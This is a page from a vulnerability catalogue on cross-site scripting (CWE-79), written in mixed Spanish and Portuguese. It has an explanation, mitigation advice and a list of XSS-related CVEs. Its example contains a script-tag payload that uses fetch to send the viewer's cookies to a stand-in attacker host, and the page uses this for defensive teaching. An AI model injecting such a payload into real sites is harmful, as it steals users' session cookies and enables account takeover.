Fallos del tipo CWE-79

30.259 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-8457MEDIUMPLANET Technology switch devices - Stored cross-site scripting (XSS) in the User ManagementEPSS 0.3%CVE-2023-52197MEDIUMWordPress Ads Invalid Click Protection Plugin <= 1.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2026-56858MEDIUMFix Javascript regexp context tracking in html/templateEPSS 0.3%CVE-2023-51372MEDIUMWordPress HashBar – WordPress Notification Bar Plugin <= 1.4.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2023-51480MEDIUMWordPress Active Products Tables for WooCommerce Plugin <= 1.0.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-47391MEDIUMWordPress Bold Page Builder plugin < 5.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-5973MEDIUMPHPGurukul Restaurant Table Booking System add-table.php cross site scriptingEPSS 0.3%CVE-2024-56285MEDIUMWordPress WPBITS Addons For Elementor Page Builder plugin <= 1.5.1 - Cross-Site Scripting vulnerabilityEPSS 0.3%CVE-2025-6595NONEImproper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MultimediaEPSS 0.3%CVE-2025-4963MEDIUMWP Extended <= 3.0.15 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2025-6594NONEXSS in Special:ApiSandboxEPSS 0.3%CVE-2023-51485MEDIUMWordPress Pay with Vipps for WooCommerce Plugin <= 1.14.13 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-22297MEDIUMWordPress CBX Map for Google Map & OpenStreetMap Plugin <= 1.1.11 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2026-42197HIGHRELATE Vulnerable to Stored XSS via Unprivileged User ProfileEPSS 0.3%CVE-2023-52191MEDIUMWordPress Infogram Plugin <= 1.6.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-13639HIGHInappropriate implementation in WebRTC in Google Chrome prior to 143.0.7499.41 allowed a remote attacker to perform arbitrary read/write viaEPSS 0.3%CVE-2026-50765MEDIUMA stored cross-site scripting (XSS) vulnerability in the patron restriction type administration page of Koha Library Management System 0 thrEPSS 0.3%CVE-2025-41070MEDIUMReflected Cross-site Scripting (XSS) in Sanoma's ClickeduEPSS 0.3%CVE-2024-24928MEDIUMWordPress Content Cards Plugin <= 0.9.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2025-0193MEDIUMStored Cross-site Scripting (XSS) Vulnerability in the MGate 5121/5122/5123 SeriesEPSS 0.3%